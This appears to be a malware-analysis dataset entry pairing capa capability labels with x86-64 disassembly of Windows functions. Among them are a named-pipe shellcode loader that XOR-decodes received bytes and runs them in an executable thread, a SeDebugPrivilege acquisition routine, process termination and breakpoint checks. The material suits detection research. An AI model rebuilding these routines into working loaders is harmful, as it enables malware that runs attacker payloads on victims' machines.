joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140012660
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140084060]
xor rax, rsp
mov qword [rsp + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
mov esi, eax
call fcn.14003e230
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14001272a
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140012721
mov qword [rsp + 0x280], rbx
nop
cmp dword [rsp + 0x40], esi
jne 0x140012707
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140012707
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400126d0
mov rbx, qword [rsp + 0x280]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14003b9b0
mov rsi, qword [rsp + 0x288]
add rsp, 0x270
pop rdi
ret

Function at 0x1400317a0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14001b616
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x14001b5f9
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14001b5e4

Function at 0x140043184
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdx, qword [rcx + 0x10]
mov rbx, rcx
mov ecx, dword [rcx + 0x18]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edi, eax
test eax, eax
jne 0x1400431bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140041e30
call fcn.140041ebc
mov eax, dword [rax]
jmp 0x140043236
cmp rdi, qword [rbx + 0x18]
ja 0x1400431cb
mov qword [rbx + 0x20], rdi
jmp 0x140043234
cmp byte [rbx + 0x28], 0
lea rsi, [rdi + 1]
je 0x1400431e2
mov rcx, qword [rbx + 0x10]
call fcn.140055260
mov byte [rbx + 0x28], 0
lea rcx, [rdi*2 + 2]
call fcn.14005529c
mov qword [rbx + 0x10], rax
mov r8, rax
neg rax
mov edx, 0
sbb eax, eax
not eax
and eax, 0xc
cmove rdx, rsi
test eax, eax
sete cl
mov byte [rbx + 0x28], cl
mov qword [rbx + 0x18], rdx
test eax, eax
jne 0x140043236
mov ecx, dword [rbx + 0x18]
mov rdx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, eax
test rax, rax
je 0x1400431a9
mov qword [rbx + 0x20], rax
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140051fe4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140051dd4
Function at 0x140057e3c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x140057e6e
call fcn.140041ebc
mov dword [rax], socket
call fcn.140042fa0
jmp 0x140057f8d
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140057f8d
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140057f8d
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140057e9d
lock or dword [rcx + 0x14], 0x10
jmp 0x140057f8d
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140057eb1
call fcn.1400587b0
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140056718
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.140058cc8
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140057f7b
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x140057f46
mov rcx, rsi
call fcn.140056718
cmp eax, edi
je 0x140057f31
mov rcx, rsi
call fcn.140056718
cmp eax, 0xfffffffe
je 0x140057f31
mov rcx, rsi
call fcn.140056718
movsxd rbx, eax
lea r14, [0x1400872e0]
mov rcx, rsi
sar rbx, 6
call fcn.140056718
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x140057f38
lea rdx, [0x140084410]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140057f46
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x140057f6a
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x140057f6a
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x140057f6a
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x140057f90
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x140058530
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14003c010
sub rsp, rax
mov rax, qword [0x140084060]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140056718
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14005857f
mov rax, rbp
jmp 0x140058687
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x872e0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400594a0
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x872e0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140058683
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140058683
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400594a0
test rax, rax
js 0x140058683
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140058683
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140058675
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140058675
cmp byte [rcx], 0xd
jne 0x14005865b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14005866a
cmp byte [rcx + 1], 0xa
jne 0x14005866a
inc rcx
jmp 0x14005866a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x84460]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14005863d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140058687
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14003b9b0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14005881c
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x1400872e0]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14005887a
cmp word [rdx], r12w
jne 0x14005887a
or byte [rax + r8*8 + 0x38], cl
jmp 0x140058880
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x1400589db
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x1400589b6
lea r9, [rcx + 2]
cmp ax, r13w
je 0x1400588b9
mov rcx, r9
jmp 0x1400588dc
cmp r9, rdx
jae 0x1400588f3
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x14005889d
jmp 0x1400589db
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400589b0
cmp dword [rsp + 0x80], edi
je 0x1400589b0
mov rdx, r14
lea r11, [0x1400872e0]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x140058989
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14005895c
mov word [rbx], r12w
jmp 0x1400589d7
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x140058965
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x1400589d7
cmp word [rsp + 0x70], r12w
jne 0x140058996
cmp rbx, rsi
je 0x140058956
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.1400594a8
cmp word [rsp + 0x70], r12w
je 0x1400589db
mov word [rbx], r13w
jmp 0x1400589d7
lea r11, [0x1400872e0]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x1400589d3
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1400589db
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14005dcc8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14005dd4f
mov rsi, rbx
cmp word [rax], bp
je 0x14005dd0e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14005dcf8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14005dcf4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14005529c
mov rdi, rax
test rax, rax
je 0x14005dd3c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14003dae0
mov rbp, rdi
xor ecx, ecx
call fcn.140055260
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140064d70
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400594a8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400594a8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140064ec0
cmp rax, 0xffffffffffffffff
je 0x140064ec0
xor edi, edi
test rbp, rbp
jle 0x140064e6b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140057fa8
mov rbx, rax
test rax, rax
jne 0x140064df8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140064e61
mov edx, 0x8000
mov ecx, r14d
call fcn.140052e30
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400576e8
cmp eax, 0xffffffff
je 0x140064e41
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140064e08
mov edx, r15d
mov ecx, r14d
call fcn.140052e30
jmp 0x140064e61
cmp byte [rsi + 0x38], dil
je 0x140064e58
cmp dword [rsi + 0x34], 5
jne 0x140064e58
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], select
cmp byte [rsi + 0x30], dil
je 0x140064e61
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140055260
jmp 0x140064ed4
jns 0x140064ed4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400594a8
cmp rax, 0xffffffffffffffff
jne 0x140064e8c
cmp byte [rsi + 0x30], dil
je 0x140064ed4
mov edi, dword [rsi + 0x2c]
jmp 0x140064ed4
mov ecx, r14d
call fcn.14005e904
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140064ed4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], select
jmp 0x140064ed4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140064ecd
mov eax, dword [rsi + 0x2c]
jmp 0x140064ed2
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400594a8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140001170
Capabilities:
Allocate or change rwx memory
Connect pipe
Create pipe
Create thread
Encode data using xor
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor esi, esi
lea rcx, str..pipeBadCodeTest
mov qword [rsp + 0x38], rsi
mov r9d, 0xff
mov dword [rsp + 0x30], esi
xor r8d, r8d
mov dword [rsp + 0x28], 0x400
mov edx, 1
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400011eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___Create_Pipe_Error_:__d__n
mov ebx, eax
call fcn.140001010
mov eax, ebx
jmp 0x1400012fc
mov qword [rsp + 0x28], rsi
lea r8, [0x140001070]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jle 0x1400012fa
lea rcx, str.__Client_Connected..._n
mov qword [rsp + 0x470], rdi
call fcn.140001010
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rsi
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rsp + 0x40]
lea rcx, str.__Get_DATA_Length_:__d__n
call fcn.140001010
mov edx, dword [rsp + 0x40]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rsp + 0x40]
mov ebx, esi
test ecx, ecx
je 0x1400012b0
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, ebx
lock xor byte [rax + rdi], 0xa
mov ecx, dword [rsp + 0x40]
inc ebx
cmp ebx, ecx
jb 0x140001294
mov edx, ecx
lea r9, [rsp + 0x44]
mov rcx, rdi
mov r8d, 0x10
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rdi
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x470]
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140001330
mov rbx, qword [rsp + 0x478]
add rsp, 0x460
pop rsi
ret

Function at 0x140001bf0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c3a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c3a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c3a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c3a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c3c
xor al, al
add rsp, 0x28
ret
Function at 0x140028196
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
push r15
mov rax, 8
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x1400281a0
sub rsp, 0x28
call fcn.14004ac40
mov dword [0x140103001], 0x171
mov dword [0x140103001], 0x172
mov byte [rsp + 0x28], 0
mov dword [0x140103001], 0x174
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push 0x28
sub rsp, 0x20
call fcn.14002d08a
add rsp, 0x20
mov rax, rax
push rax
pop rcx
pop rdx
pop r8
call fcn.14002d156
and rax, rax
je 0x140028335
mov dword [0x140103001], 0x175
lea rax, [rsp + 0x38]
mov dword [0x140103001], 0x177
lea rax, [rsp + 0x38]
mov rax, rax
push rax
movabs rax, str.SeDebugPrivilege
push rax
push 0
pop rcx
pop rdx
pop r8
call fcn.14002d15c
and rax, rax
je 0x140028317
mov dword [0x140103001], 0x178
lea rax, [rsp + 0x40]
mov dword [0x140103001], 0x17b
lea rbp, [rsp + 0x40]
mov dword [rbp], 1
mov dword [0x140103001], 0x17c
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 4], eax
mov dword [0x140103001], 0x17d
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp + 4]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 8], eax
mov dword [0x140103001], 0x17e
push rbp
pop rbp
mov dword [rbp + 0xc], 2
mov dword [0x140103001], 0x180
lea rax, [rsp + 0x60]
mov rax, rax
push rax
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0x10
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0
push qword [rsp + 0x58]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.14002d162
add rsp, 0x30
mov rax, rax
push rax
pop rax
mov byte [rsp + 0x28], al
mov dword [0x140103001], 0x181
mov dword [0x140103001], 0x182
push qword [rsp + 0x30]
pop rcx
call fcn.14002d042
mov dword [0x140103001], 0x183
mov dword [0x140103001], 0x184
movsx rax, byte [rsp + 0x28]
movsx rax, al
jmp 0x140028362
add rsp, 0x68
pop r15
pop rbp
ret

Function at 0x140033954
Capabilities:
Reference http user-agent string

Disassembly:
lea r9, str.Mozilla_5.0_Gecko_41.0_Firefox_41.0
xor r8d, r8d
jmp 0x140033964
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
xor ebx, ebx
mov r15, r9
mov r14d, r8d
mov rsi, rdx
mov rbp, rcx
test rcx, rcx
je 0x140033a32
test rdx, rdx
je 0x140033a32
mov rcx, qword [0x14014fb08]
lea edx, [rbx + 8]
lea r8d, [rbx + 0x48]
call qword [0x14014da14]
mov rcx, rbp
or dword [rax + 4], 0xffffffff
mov dword [rax], ebx
mov rdi, rax
call fcn.14002d284
mov rcx, rsi
mov qword [rdi + 8], rax
call fcn.14002d284
mov rcx, r15
mov qword [rdi + 0x10], rax
call fcn.14002d284
mov dword [rdi + 0x30], r14d
mov qword [rdi + 0x40], rax
test r14b, 1
je 0x140033a1f
lea rax, [rsp + 0x50]
lea r8, [0x140033bfc]
mov r9, rdi
mov qword [rsp + 0x28], rax
mov edx, 0x2000
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [0x14014da84]
test rax, rax
je 0x140033a2a
mov rcx, rax
call qword [0x14014d974]
mov rbx, rdi
jmp 0x140033a32
mov rcx, rdi
call fcn.140033a50
movsxd rbx, eax
mov rcx, rdi
call fcn.140033c7c
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x14006d930
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r8, rcx
test rcx, rcx
je 0x14006d9fb
mov rdx, qword [rcx]
xor r9d, r9d
mov qword [rsp], rdi
mov eax, r9d
mov r10d, r9d
lea rdi, [0x1400e6a70]
mov byte [rdx + 0x16], al
mov rdx, qword [rcx]
mov byte [rdx + 0x17], al
mov rdx, qword [rcx]
mov byte [rdx + 0x18], al
mov rdx, qword [rcx]
mov byte [rdx + 0x19], al
movsxd r11, dword [rcx + 8]
test r11, r11
jle 0x14006d9a5
mov qword [rsp + 0x10], rbx
mov rbx, qword [rcx]
nop dword [rax]
movzx edx, byte [rbx + r10]
mov ecx, eax
inc r10
shr rcx, 0x18
xor rdx, rcx
mov ecx, eax
mov eax, dword [rdi + rdx*4]
shl ecx, 8
xor eax, ecx
cmp r10, r11
jl 0x14006d980
mov rbx, qword [rsp + 0x10]
movsxd r10, dword [r8 + 0x18]
test r10, r10
jle 0x14006d9d2
mov r11, qword [r8 + 0x10]
movzx edx, byte [r11 + r9]
mov ecx, eax
inc r9
shr rcx, 0x18
xor rdx, rcx
mov ecx, eax
mov eax, dword [rdi + rdx*4]
shl ecx, 8
xor eax, ecx
cmp r9, r10
jl 0x14006d9b2
mov rcx, qword [r8]
mov rdi, qword [rsp]
mov edx, eax
mov byte [rcx + 0x16], al
mov rcx, qword [r8]
shr edx, 8
mov byte [rcx + 0x17], dl
mov rcx, qword [r8]
mov edx, eax
shr edx, 0x10
shr eax, 0x18
mov byte [rcx + 0x18], dl
mov rcx, qword [r8]
mov byte [rcx + 0x19], al
add rsp, 8
ret
Function at 0x14008dbb0
Capabilities:
Check for software breakpoints

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx + 0x24], 0xca
mov rbx, rcx
jne 0x14008dbe3
call fcn.14008de70
cmp byte [rbx + 0x58], 0
je 0x14008dbdc
mov dword [rbx + 0x24], 0xcf
mov al, 1
add rsp, 0x20
pop rbx
ret
mov dword [rbx + 0x24], 0xcb
mov eax, dword [rbx + 0x24]
cmp eax, 0xcb
jne 0x14008dc75
mov rax, qword [rbx + 0x238]
cmp byte [rax + 0x20], 0
je 0x14008dc5c
nop
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14008dc0e
mov rcx, rbx
call qword [rax]
mov rax, qword [rbx + 0x238]
mov rcx, rbx
call qword [rax]
test eax, eax
je 0x14008dc54
cmp eax, 2
je 0x14008dc5c
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14008dc00
dec eax
test eax, 0xfffffffd
jne 0x14008dc00
inc dword [rcx + 8]
mov rdx, qword [rbx + 0x10]
mov r8d, dword [rdx + 0xc]
cmp dword [rcx + 8], r8d
jl 0x14008dc00
mov ecx, dword [rbx + 0x188]
add ecx, r8d
mov dword [rdx + 0xc], ecx
jmp 0x14008dc00
xor al, al
add rsp, 0x20
pop rbx
ret
mov eax, dword [rbx + 0x9c]
mov rcx, rbx
mov dword [rbx + 0xa4], eax
add rsp, 0x20
pop rbx
jmp 0x14008dd30
cmp eax, 0xcc
je 0x14008dc97
mov rax, qword [rbx]
mov dword [rax + 0x28], 0x15
mov rcx, qword [rbx]
mov eax, dword [rbx + 0x24]
mov dword [rcx + 0x2c], eax
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x14008dd30
mov qword [rsp + 0x18], rbx
push rbp
sub rsp, 0x20
xor ebp, ebp
cmp dword [rcx + 0x24], 0xcc
mov rbx, rcx
je 0x14008dd5e
mov rax, qword [rcx + 0x218]
call qword [rax]
mov dword [rbx + 0x98], ebp
mov dword [rbx + 0x24], 0xcc
mov rax, qword [rbx + 0x218]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
cmp byte [rax + 0x10], bpl
je 0x14008de0d
nop dword [rax]
mov eax, dword [rbx + 0x98]
cmp eax, dword [rbx + 0x78]
jae 0x14008dddd
nop dword [rax + rax]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14008ddaf
mov dword [rcx + 8], eax
mov rcx, qword [rbx + 0x10]
mov eax, dword [rbx + 0x78]
mov dword [rcx + 0xc], eax
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax]
mov rax, qword [rbx + 0x220]
mov edi, dword [rbx + 0x98]
lea r8, [rbx + 0x98]
xor r9d, r9d
xor edx, edx
mov rcx, rbx
call qword [rax + 8]
mov eax, dword [rbx + 0x98]
cmp eax, edi
je 0x14008de35
cmp eax, dword [rbx + 0x78]
jb 0x14008dd90
mov rax, qword [rbx + 0x218]
mov rcx, rbx
call qword [rax + 8]
mov rax, qword [rbx + 0x218]
mov rcx, rbx
call qword [rax]
mov dword [rbx + 0x98], ebp
mov rax, qword [rbx + 0x218]
cmp byte [rax + 0x10], bpl
jne 0x14008dd80
cmp byte [rbx + 0x59], bpl
mov al, 1
setne bpl
add ebp, 0xcd
mov dword [rbx + 0x24], ebp
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rbp
ret
xor al, al
jmp 0x14008de20